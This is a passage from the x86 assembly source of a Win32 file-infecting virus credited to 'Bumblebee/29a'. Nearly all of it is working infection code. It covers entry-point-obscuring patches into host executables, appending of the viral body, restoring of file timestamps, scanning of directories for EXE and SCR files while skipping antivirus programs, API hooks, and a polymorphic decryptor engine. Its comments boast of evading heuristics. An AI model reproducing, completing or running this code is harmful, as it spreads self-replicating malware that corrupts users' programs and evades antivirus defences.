add ecx,dword ptr [esi+34h] ; ecx = dest rva
|
|
mov edx,dword ptr [EPORva+ebp]
|
|
mov dword ptr [myRVA+ebp],edx
|
|
add edx,dword ptr [esi+34h] ; edx = jmp rva
|
|
sub ecx,edx
|
|
sub ecx,5 ; ecx the addr jmp
|
|
mov edx,dword ptr [EPOAddr+ebp]
|
|
mov byte ptr [edx],0e9h
|
|
mov dword ptr [edx+1],ecx
|
|
pop ecx edx
|
|
; now lets the header be patched with this data ;)
|
|
|
|
notNotEPO:
|
|
; if i can't found a nice call to patch and i can't add
|
|
; a jump in the end of the code section i use the non-EPO
|
|
; infection. This could be a problem for the wild time
|
|
; of the virus 'cause heuristics can fake it easily
|
|
; but we want to be infectious ;)
|
|
push edi ; store new ep and get old
|
|
mov edi,dword ptr [myRVA+ebp] ; set edi=new ep
|
|
mov dword ptr [EPOAddr+ebp],0 ; getk32 changes if epo!
|
|
|
|
xchg edi,dword ptr [esi+28h] ; get host EP and set new
|
|
add edi,dword ptr [esi+34h]
|
|
mov dword ptr [hostRET+ebp],edi ; save it
|
|
pop edi
|
|
yeahEPO:
|
|
push edx ; calc the new virtual size
|
|
mov eax,dword ptr [virtsize+ebp] ; for the section
|
|
mov ecx,dword ptr [edx+38h]
|
|
xor edx,edx
|
|
div ecx
|
|
inc eax
|
|
xor edx,edx
|
|
mul ecx
|
|
pop edx
|
|
|
|
add dword ptr [edi+08h],eax ; fix the virtual size
|
|
add dword ptr [edx+50h],eax ; fix the image size
|
|
|
|
or dword ptr [edi+24h],0e0000020h ; set the properties
|
|
|
|
push edx ; calc new size for
|
|
mov eax,dword ptr [gensize+ebp] ; the section
|
|
mov ecx,dword ptr [edx+3ch]
|
|
xor edx,edx
|
|
div ecx
|
|
inc eax
|
|
xor edx,edx
|
|
mul ecx
|
|
pop edx
|
|
|
|
add dword ptr [edi+10h],eax ; store the phys size
|
|
|
|
push edx ; calc file padding
|
|
mov ecx,PADDING ; (infection sign)
|
|
add eax,dword ptr [fileSize+ebp]
|
|
xor edx,edx
|
|
div ecx
|
|
inc eax
|
|
xor edx,edx
|
|
mul ecx
|
|
mov dword ptr [pad+ebp],eax
|
|
pop edx
|
|
|
|
; update the virus sample ready to infect.
|
|
call updateVSample
|
|
|
|
push dword ptr [mapMem+ebp]
|
|
call dword ptr [_UnmapViewOfFile+ebp]
|
|
|
|
push dword ptr [fhmap+ebp]
|
|
call dword ptr [_CloseHandle+ebp]
|
|
|
|
xor eax,eax
|
|
push eax
|
|
push dword ptr [pad+ebp]
|
|
push eax
|
|
push 00000004h
|
|
push eax
|
|
push dword ptr [fHnd+ebp]
|
|
call dword ptr [_CreateFileMappingA+ebp]
|
|
or eax,eax
|
|
jz infectionErrorClose
|
|
|
|
mov dword ptr [fhmap+ebp],eax
|
|
|
|
xor eax,eax
|
|
push dword ptr [pad+ebp]
|
|
push eax
|
|
push eax
|
|
push 00000004h OR 00000002h
|
|
push dword ptr [fhmap+ebp]
|
|
call dword ptr [_MapViewOfFile+ebp]
|
|
or eax,eax
|
|
jz infectionErrorCloseMap
|
|
|
|
mov dword ptr [mapMem+ebp],eax
|
|
|
|
mov ecx,dword ptr [gensize+ebp]
|
|
mov esi,dword ptr [memHnd+ebp]
|
|
mov edi,eax
|
|
add edi,dword ptr [fileSize+ebp]
|
|
rep movsb
|
|
|
|
xchg ecx,eax ; Why i want the padding
|
|
mov eax,edi ; to be zeroes?
|
|
sub eax,ecx ; bah only one 'pijada'
|
|
mov ecx,dword ptr [pad+ebp]
|
|
sub ecx,eax
|
|
xor eax,eax
|
|
rep stosb
|
|
|
|
infectionErrorCloseUnmap:
|
|
push dword ptr [mapMem+ebp]
|
|
call dword ptr [_UnmapViewOfFile+ebp]
|
|
|
|
infectionErrorCloseMap:
|
|
push dword ptr [fhmap+ebp]
|
|
call dword ptr [_CloseHandle+ebp]
|
|
|
|
lea edi,fileTime2+ebp
|
|
push edi
|
|
lea edi,fileTime1+ebp
|
|
push edi
|
|
lea edi,fileTime0+ebp
|
|
push edi
|
|
push dword ptr [fHnd+ebp]
|
|
call dword ptr [_SetFileTime+ebp]
|
|
|
|
infectionErrorClose:
|
|
push dword ptr [fHnd+ebp]
|
|
call dword ptr [_CloseHandle+ebp]
|
|
|
|
infectionErrorAttrib:
|
|
push dword ptr [fileAttrib+ebp]
|
|
push dword ptr [fNameAddr+ebp]
|
|
call dword ptr [_SetFileAttributesA+ebp]
|
|
|
|
infectionError:
|
|
popad
|
|
ret
|
|
|
|
;
|
|
; This my 'search EPO' routine. Searches for a call into the code section
|
|
; that points to:
|
|
;
|
|
; push ebp
|
|
; mov ebp,esp
|
|
;
|
|
; This is the way the high level lenguages get the arguments used to call
|
|
; a procedure. If this code is found i assume the call found it's correct
|
|
; and i patch it to jump into the virus.
|
|
;
|
|
; I tested selecting the call randomly, but this is not needed. There
|
|
; could be calls that points the desired code and call that are not
|
|
; useful for the virus. Av cannot know wich is the call patched utill
|
|
; it finds it. Moreover using 1st found call i'm more sure that the virus
|
|
; will be executed! And this is good enought to fuck most cool heuristics.
|
|
;
|
|
searchEPO:
|
|
pushad
|
|
mov edi,dword ptr [esi+28h] ; get host EP
|
|
|
|
xor ecx,ecx
|
|
mov cx,word ptr [esi+06h] ; number of sections
|
|
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr
|
|
|
|
sectionLoop: ; look for code section
|
|
mov ebx,dword ptr [esi+0ch]
|
|
add ebx,dword ptr [esi+08h] ; test it's inside this
|
|
cmp edi,ebx ; section
|
|
jb sectionFound
|
|
add esi,28h
|
|
dec ecx
|
|
jnz sectionLoop
|
|
stc
|
|
jmp searchEPOOut
|
|
|
|
sectionFound:
|
|
test dword ptr [esi+24h],10000000h ; avoid this kind of section
|
|
jnz searchEPOFail ; we can corrupt it!
|
|
|
|
push esi
|
|
sub edi,dword ptr [esi+0ch] ; get raw address
|
|
add edi,dword ptr [esi+14h]
|
|
mov ecx,dword ptr [esi+10h]
|
|
cmp ecx,edi
|
|
jna searchEPOFail
|
|
sub ecx,edi
|
|
add edi,dword ptr [mapMem+ebp]
|
|
mov ebx,edi
|
|
add ebx,ecx
|
|
sub ebx,10h ; high secure fence
|
|
callLoop: ; loop that searches
|
|
cmp byte ptr [edi],0e8h ; for the call
|
|
jne continueCallLoop
|
|
mov edx,edi
|
|
add edx,dword ptr [edi+1]
|
|
add edx,5
|
|
cmp ebx,edx
|
|
jb continueCallLoop
|
|
cmp edx,dword ptr [mapMem+ebp]
|
|
jb continueCallLoop
|
|
mov esi,edx
|
|
mov dx,word ptr [esi]
|
|
cmp dx,08b55h
|
|
jne continueCallLoop
|
|
mov dx,word ptr [esi+1]
|
|
cmp dx,0ec8bh
|
|
jne continueCallLoop
|
|
mov dword ptr [EPOAddr+ebp],edi
|
|
sub edi,dword ptr [mapMem+ebp]
|
|
pop esi
|
|
add edi,dword ptr [esi+0ch] ; get rva address
|
|
sub edi,dword ptr [esi+14h]
|
|
mov dword ptr [EPORva+ebp],edi
|
|
clc
|
|
jmp searchEPOOut
|
|
continueCallLoop:
|
|
inc edi
|
|
loop callLoop
|
|
searchEPOFail:
|
|
pop esi
|
|
stc
|
|
searchEPOOut:
|
|
popad
|
|
ret
|
|
;
|
|
; This makes a light EPO. Looks for space in the code section to
|
|
; put there a jump to virus code. The header is patched but this
|
|
; patch is less notorious. This EPO requires phys size of section
|
|
; bigger than virtual size + 5 (the size of the jump).
|
|
;
|
|
lightEPO:
|
|
pushad
|
|
mov edi,dword ptr [esi+28h] ; get host EP
|
|
|
|
xor ecx,ecx
|
|
mov cx,word ptr [esi+06h] ; number of sections
|
|
mov esi,dword ptr [fstSec+ebp] ; get 1st section addr
|
|
|
|
lightSectionLoop: ; look for code section
|
|
mov ebx,dword ptr [esi+0ch]
|
|
add ebx,dword ptr [esi+08h] ; test it's inside this
|
|
cmp edi,ebx ; section
|
|
jb lightSectionFound
|
|
add esi,28h
|
|
dec ecx
|
|
jnz lightSectionLoop
|
|
lightEPOFail:
|
|
stc
|
|
jmp lightEPOOut
|
|
|
|
lightSectionFound:
|
|
test dword ptr [esi+24h],10000000h ; avoid this kind of section
|
|
jnz lightEPOFail ; we can corrupt it!
|
|
|
|
mov eax,dword ptr [esi+08h] ; virtual size
|
|
add eax,5 ; plus the code we add
|
|
cmp eax,dword ptr [esi+10h] ; bigger than phys size?
|
|
ja lightEPOFail
|
|
mov edi,dword ptr [mapMem+ebp] ; get raw address
|
|
add edi,dword ptr [esi+08h]
|
|
add edi,dword ptr [esi+14h]
|
|
mov dword ptr [esi+08h],eax ; increase 5 bytes
|
|
mov dword ptr [EPOAddr+ebp],edi
|
|
sub edi,dword ptr [mapMem+ebp]
|
|
add edi,dword ptr [esi+0ch] ; get rva address
|
|
sub edi,dword ptr [esi+14h]
|
|
mov dword ptr [EPORva+ebp],edi
|
|
clc
|
|
lightEPOOut:
|
|
popad
|
|
ret
|
|
;
|
|
; Infects PE files in current directory.
|
|
;
|
|
infectDir:
|
|
pushad
|
|
|
|
lea esi,find_data+ebp
|
|
push esi
|
|
lea esi,fndMask+ebp
|
|
push esi
|
|
call dword ptr [_FindFirstFileA+ebp]
|
|
inc eax
|
|
jz notFound
|
|
dec eax
|
|
|
|
mov dword ptr [findHnd+ebp],eax
|
|
|
|
findNext:
|
|
lea esi,find_data.cFileName+ebp
|
|
call stringUp
|
|
lea esi,stringBuffer+ebp
|
|
push edi ; test the string it's
|
|
sub edi,esi ; long enought
|
|
cmp edi,5
|
|
pop edi
|
|
jna skipThisFile
|
|
cmp dword ptr [edi-4],'EXE.'
|
|
je validFileExt
|
|
cmp dword ptr [edi-4],'RCS.'
|
|
jne skipThisFile
|
|
|
|
validFileExt:
|
|
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
|
|
cmp eax,4000h
|
|
jb skipThisFile ; at least 4000h bytes?
|
|
mov ecx,PADDING ; test if it's infected
|
|
xor edx,edx ; yet
|
|
div ecx
|
|
or edx,edx ; reminder is zero?
|
|
jz skipThisFile
|
|
|
|
testIfAv: ; let's search for strings
|
|
; that may appear in av progs
|
|
lea edi,avStrings+ebp
|
|
mov ecx,vStringsCout
|
|
testIfAvL:
|
|
push esi
|
|
mov ax,word ptr [edi]
|
|
testAvLoop:
|
|
cmp word ptr [esi],ax
|
|
jne contTestLoop
|
|
pop esi
|
|
jmp skipThisFile
|
|
contTestLoop:
|
|
inc esi
|
|
cmp byte ptr [esi+3],0 ; skip the ext
|
|
jne testAvLoop
|
|
pop esi
|
|
add edi,2
|
|
loop testIfAvL
|
|
|
|
call infect
|
|
|
|
skipThisFile:
|
|
lea esi,find_data+ebp
|
|
push esi
|
|
push dword ptr [findHnd+ebp]
|
|
call dword ptr [_FindNextFileA+ebp] ; Find next file
|
|
or eax,eax
|
|
jnz findNext
|
|
|
|
push dword ptr [findHnd+ebp]
|
|
call dword ptr [_FindClose+ebp]
|
|
|
|
notFound:
|
|
popad
|
|
ret
|
|
|
|
;
|
|
; Virus data ---------------------------------------------------------------
|
|
;
|
|
HOOKTABLEBEGIN label byte
|
|
dd offset _CreateFileA
|
|
dd offset Hook0
|
|
dd offset _MoveFileA
|
|
dd offset Hook1
|
|
dd offset _CopyFileA
|
|
dd offset Hook2
|
|
dd offset _CreateProcessA
|
|
dd offset Hook3
|
|
dd offset _SetFileAttributesA
|
|
dd offset Hook4
|
|
dd offset _GetFileAttributesA
|
|
dd offset Hook5
|
|
dd offset _SearchPathA
|
|
dd offset Hook6
|
|
HOOKTABLEEND label byte
|
|
EPOAddr dd 0
|
|
|
|
copyright db '< The Rain Song Coded By Bumblebee/29a >',0dh,0ah
|
|
|
|
; little tribute
|
|
message db 'ASIMOV Jan.2.1920 - Apr.6.1992',0
|
|
|
|
FSTAPI label byte
|
|
CrcCreateFileA dd 08c892ddfh
|
|
db 12
|
|
_CreateFileA dd 0
|
|
|
|
CrcMapViewOfFile dd 0797b49ech
|
|
db 14
|
|
_MapViewOfFile dd 0
|
|
|
|
CrcCreatFileMappingA dd 096b2d96ch
|
|
db 19
|
|
_CreateFileMappingA dd 0
|
|
|
|
CrcUnmapViewOfFile dd 094524b42h
|
|
db 16
|
|
_UnmapViewOfFile dd 0
|
|
|
|
CrcCloseHandle dd 068624a9dh
|
|
db 12
|
|
_CloseHandle dd 0
|
|
|
|
CrcFindFirstFileA dd 0ae17ebefh
|
|
db 15
|
|
_FindFirstFileA dd 0
|
|
|
|
CrcFindNextFileA dd 0aa700106h
|
|
db 14
|
|
_FindNextFileA dd 0
|
|
|
|
CrcFindClose dd 0c200be21h
|
|
db 10
|
|
_FindClose dd 0
|
|
|
|
CrcVirtualAlloc dd 04402890eh
|
|
db 13
|
|
_VirtualAlloc dd 0
|
|
|
|
CrcGetTickCount dd 0613fd7bah
|
|
db 13
|
|
_GetTickCount dd 0
|
|
|
|
CrcGetFileTime dd 04434e8feh
|
|
db 12
|
|
_GetFileTime dd 0
|
|
|
|
CrcSetFileTime dd 04b2a3e7dh
|
|
db 12
|
|
_SetFileTime dd 0
|
|
|
|
CrcSetFileAttributesA dd 03c19e536h
|
|
db 19
|
|
_SetFileAttributesA dd 0
|
|
|
|
CrcGetFileAttributesA dd 0c633d3deh
|
|
db 19
|
|
_GetFileAttributesA dd 0
|
|
|
|
CrcGetFileSize dd 0ef7d811bh
|
|
db 12
|
|
_GetFileSize dd 0
|
|
|
|
CrcGetSystemTime dd 075b7ebe8h
|
|
db 14
|
|
_GetSystemTime dd 0
|
|
|
|
CrcFatalAppExitA dd 0253ab1b9h
|
|
db 14
|
|
_FatalAppExitA dd 0
|
|
|
|
CrcMoveFileA dd 02308923fh
|
|
db 10
|
|
_MoveFileA dd 0
|
|
|
|
CrcCopyFileA dd 05bd05db1h
|
|
db 10
|
|
_CopyFileA dd 0
|
|
|
|
CrcCreateProcessA dd 0267e0b05h
|
|
db 15
|
|
_CreateProcessA dd 0
|
|
|
|
CrcSearchPathA dd 0f4d9d033h
|
|
db 12
|
|
_SearchPathA dd 0
|
|
|
|
CrcGetCurrentDirectoryA dd 0ebc6c18bh
|
|
db 21
|
|
_GetCurrentDirectoryA dd 0
|
|
|
|
CrcSetCurrentDirectoryA dd 0b2dbd7dch
|
|
db 21
|
|
_SetCurrentDirectoryA dd 0
|
|
|
|
CrcGetWindowsDirectoryA dd 0fe248274h
|
|
db 21
|
|
_GetWindowsDirectoryA dd 0
|
|
ENDAPI label byte
|
|
|
|
; AV: AVP, PAV, NAV, ...
|
|
; AN: SCAN, VISUSSCAN, ...
|
|
; DR: DRWEB
|
|
; ID: SPIDER
|
|
; OD: NOD-ICE
|
|
; TB: THUNDERBYTE... (this still exists?)
|
|
; F-: F-PROT, ...
|
|
avStrings dw 'VA','NA','RD','DI','DO','BT','-F'
|
|
vStringsCout equ (offset $-offset avStrings)/2
|
|
fndMask db '*.*',0
|
|
;
|
|
; Virus data ends here -----------------------------------------------------
|
|
;
|
|
|
|
;
|
|
; Polymorphic Engine (V2LPE - Very^2 Lame Polymorphic Engine)
|
|
;
|
|
; This is a simple polymorphic engine. Uses some piezes of code from
|
|
; AOCPE. Very, very lame :( But does its work as poly engine. May be
|
|
; its size the only one point for.
|
|
;
|
|
; EAX: CrptKey
|
|
; ECX: CodeSize (code to decrypt prepared yet)
|
|
; EDI: Destination address
|
|
;
|
|
; returns EAX: size of generated proc
|
|
;
|
|
GenDCrpt:
|
|
pushad ; setup regs status
|
|
xor eax,eax
|
|
lea edi,RegStatus+ebp
|
|
mov ecx,8
|
|
rep stosb
|
|
popad
|
|
mov byte ptr [RegStatus+ebp+_EBP],1
|
|
mov byte ptr [RegStatus+ebp+_ESP],1
|
|
mov dword ptr [CrptKey+ebp],eax
|
|
mov dword ptr [CodeSize+ebp],ecx
|
|
|
|
push edi
|
|
|
|
xor eax,eax
|
|
call GetReg
|
|
mov byte ptr [KeyReg+ebp],al
|
|
|
|
call AddShit
|
|
|
|
mov cl,_EBP
|
|
call AddPushREG
|
|
|
|
call AddShit
|
|
|
|
mov ax,0ec8bh
|
|
stosw
|
|
|
|
call AddShit
|
|
|
|
mov edx,04h
|
|
mov cl,_EBP
|
|
call AddMovREGMEMEBP
|
|
|
|
call AddShit
|
|
|
|
mov cl,byte ptr [KeyReg+ebp]
|
|
call AddPushREG
|
|
|
|
call AddShit
|
|
|
|
mov cl,byte ptr [KeyReg+ebp]
|
|
mov edx,dword ptr [CrptKey+ebp]
|
|
call AddMovREGINM
|
|
|
|
call AddShit
|
|
|
|
call GetReg
|
|
mov byte ptr [LoopReg+ebp],al
|
|
|
|
mov cl,al
|
|
call AddPushREG
|
|
|
|
call AddShit
|
|
|
|
mov cl,byte ptr [LoopReg+ebp]
|
|
mov edx,dword ptr [CodeSize+ebp]
|
|
call AddMovREGINM
|
|
|
|
call AddShit
|
|
|
|
push edi
|
|
|
|
mov cl,byte ptr [KeyReg+ebp]
|
|
call AddXorMEMEBPREG
|
|
|
|
call AddShit
|
|
|
|
mov cl,_EBP
|
|
mov edx,04h
|
|
call AddAddREGINM
|
|
|
|
call AddShit
|
|
|
|
mov cl,byte ptr [LoopReg+ebp]
|
|
mov edx,1
|
|
call AddSubREGINM
|
|
|
|
pop ebx
|
|
mov eax,edi
|
|
sub eax,ebx
|
|
push eax
|
|
mov al,75h
|
|
stosb
|
|
pop eax
|
|
mov ah,0feh
|
|
xchg al,ah
|
|
sub al,ah
|
|
stosb
|
|
|
|
call AddShit
|
|
|
|
mov cl,byte ptr [LoopReg+ebp]
|
|
call AddPopREG
|
|
|
|
call AddShit
|
|
|
|
mov al,byte ptr [LoopReg+ebp]
|
|
call FreeReg
|
|
|
|
mov cl,byte ptr [KeyReg+ebp]
|
|
call AddPopREG
|
|
|
|
call AddShit
|
|
|
|
mov cl,_EBP
|
|
call AddPopREG
|
|
|
|
call AddShit
|
|
|
|
mov al,0c3h
|
|
stosb
|
|
|
|
pop esi
|
|
sub edi,esi
|
|
mov eax,edi
|
|
ret
|
|
|
|
;
|
|
; Poly engine data
|
|
;
|
|
_EAX equ 0
|
|
_ECX equ 1
|
|
_EDX equ 2
|
|
_EBX equ 3
|
|
_ESP equ 4
|
|
_EBP equ 5
|
|
_ESI equ 6
|
|
_EDI equ 7
|
|
RegStatus db 8 dup(0)
|
|
KeyReg db 0
|
|
LoopReg db 0
|
|
CrptKey dd 0
|
|
CodeSize dd 0
|
|
Rnd db ?
|
|
|
|
;
|
|
; returns AL: selected register
|
|
;
|
|
GetReg:
|
|
xor eax,eax
|
|
mov al,byte ptr [CrptKey+ebp]
|
|
GetReg1:
|
|
and al,7
|
|
lea ecx,RegStatus+ebp
|
|
add ecx,eax
|
|
mov dl,byte ptr [ecx]
|
|
or dl,dl
|
|
jz GetReg0
|
|
inc al
|
|
jmp GetReg1
|
|
GetReg0:
|
|
mov byte ptr [ecx],1
|
|
ret
|
|
|
|
;
|
|
; AL: selected register to free
|
|
;
|
|
FreeReg:
|
|
and eax,7
|
|
lea ecx,RegStatus+ebp
|
|
add ecx,eax
|
|
mov byte ptr [ecx],0
|
|
ret
|
|
|
|
;
|
|
; Instruction generators
|
|
;
|
|
; EDI: Destination code
|
|
; ECX: Reg (if applicable)
|
|
; EDX: Inm (if applicable)
|
|
;
|
|
|
|
AddPushREG:
|
|
mov al,050h
|
|
add al,cl
|
|
stosb
|
|
ret
|
|
|
|
AddPopREG:
|
|
mov al,058h
|
|
add al,cl
|
|
stosb
|
|
ret
|
|
|
|
AddMovREGINM:
|
|
mov al,0b8h
|
|
add al,cl
|
|
stosb
|
|
mov eax,edx
|
|
stosd
|
|
ret
|
|
|
|
AddMovREGMEMEBP:
|
|
mov al,08bh
|
|
stosb
|
|
mov al,08h
|
|
mul cl
|
|
add al,85h
|
|
stosb
|
|
mov eax,edx
|
|
stosd
|
|
ret
|
|
|
|
AddXorMEMEBPREG:
|
|
mov al,031h
|
|
stosb
|
|
mov al,08h
|
|
mul cl
|
|
add al,45h
|
|
stosb
|
|
xor al,al
|
|
stosb
|
|
ret
|
|
|
|
AddAddREGINM:
|
|
or cl,cl
|
|
jnz AddAddREGINM0
|
|
mov al,05h
|
|
stosb
|
|
jmp AddAddREGINM1
|
|
AddAddREGINM0:
|
|
mov al,081h
|
|
stosb
|
|
mov al,0c0h
|
|
add al,cl
|
|
stosb
|
|
AddAddREGINM1:
|
|
mov eax,edx
|
|
stosd
|
|
ret
|
|
|
|
AddSubREGINM:
|
|
or cl,cl
|
|
jnz AddSubREGINM0
|
|
mov al,2dh
|
|
stosb
|
|
jmp AddSubREGINM1
|
|
AddSubREGINM0:
|
|
mov al,081h
|
|
stosb
|
|
mov al,0e8h
|
|
add al,cl
|
|
stosb
|
|
AddSubREGINM1:
|
|
mov eax,edx
|
|
stosd
|
|
ret
|
|
;
|
|
; Yet another lame shit generator by Bumblebee ;)
|
|
;
|
|
AddShit:
|
|
mov eax,dword ptr [CrptKey+ebp]
|
|
add byte ptr [Rnd+ebp],al
|
|
and al,1
|
|
jz AddShit2
|
|
|
|
xor eax,eax
|
|
mov al,byte ptr [Rnd+ebp]
|
|
lea edx,shit0+ebp
|
|
and al,7
|
|
mov cl,2
|
|
mul cl
|
|
add edx,eax
|
|
mov ax,word ptr [edx]
|
|
stosw
|
|
|
|
mov al,byte ptr [Rnd+ebp]
|
|
and al,2
|
|
jz AddShit2
|
|
|
|
lea edx,shit1+ebp
|
|
mov al,byte ptr [Rnd+ebp]
|
|
and al,3
|
|
mov cl,2
|
|
mul cl
|
|
add edx,eax
|
|
mov ax,word ptr [edx]
|
|
stosw
|
|
stosw
|
|
ret
|
|
|
|
AddShit2:
|
|
xor eax,eax
|
|
mov al,byte ptr [Rnd+ebp]
|
|
lea edx,shit0+ebp
|
|
and al,7
|
|
mov cl,2
|
|
mul cl
|
|
add edx,eax
|
|
mov ax,word ptr [edx]
|
|
stosw
|
|
|
|
lea edx,shit0+ebp
|
|
add edx,2
|
|
mov al,byte ptr [Rnd+ebp]
|
|
and al,3
|
|
mov cl,2
|
|
mul cl
|
|
add edx,eax
|
|
mov ax,word ptr [edx]
|
|
stosw
|
|
|
|
ret
|
|
; some do-nothing opcodes
|
|
shit0: dw 9090h,0db87h,0c987h,0d287h,4840h,434bh,4941h,4a42h
|
|
shit1: dw 0d0f7h,0d3f7h,0d1f7h,0d2f7h
|
|
|
|
crptSecondEND label byte
|
|
; Decryptor for the second layer.
|
|
secondLayerDecrypt:
|
|
push ebp
|
|
mov ebp,esp
|
|
push ecx
|
|
mov ebp,dword ptr [ebp+4]
|
|
mov ecx,crptSecondEND-crptSecondINI
|
|
secondLayerLoop:
|
|
not byte ptr [ebp]
|
|
inc ebp
|
|
loop secondLayerLoop
|
|
pop ecx ebp
|
|
ret
|
|
|
|
crptEND label byte
|
|
vEnd label byte
|
|
|
|
; This is a fake decryptor for the 1st generation. Allows the virus to
|
|
; skip the second layer decryptor.
|
|
crypt:
|
|
pop edx
|
|
lea edx,crptSecondINI
|
|
push edx
|
|
ret
|
|
;
|
|
; Temp data. Not stored into the file, only 1st generation.
|
|
;
|
|
BUFFERBEGIN label byte
|
|
stringBuffer db STRINGTOP dup(0)
|
|
tmpPath db STRINGTOP dup(0)
|
|
address dd 0
|
|
names dd 0
|
|
ordinals dd 0
|
|
nexports dd 0
|
|
expcount dd 0
|
|
memHnd dd 0
|
|
|
|
fHnd dd 0
|
|
fhmap dd 0
|
|
mapMem dd 0
|
|
|
|
fileSize dd 0
|
|
fileAttrib dd 0
|
|
fileTime0 dd 0,0
|
|
fileTime1 dd 0,0
|
|
fileTime2 dd 0,0
|
|
pad dd 0
|
|
fNameAddr dd 0
|
|
gensize dd 0
|
|
virtsize dd 0
|
|
myRVA dd 0
|
|
fstSec dd 0
|
|
find_data WIN32_FIND_DATA <0>
|
|
findHnd dd 0
|
|
semHook db 0
|
|
EPORva dd 0
|
|
BUFFEREND label byte
|
|
BUFFERSIZE equ BUFFEREND-BUFFERBEGIN
|
|
|
|
;
|
|
; For 1st generation only.
|
|
;
|
|
fakeHost:
|
|
push 0h
|
|
call ExitProcess
|
|
Ends
|
|
End inicio
|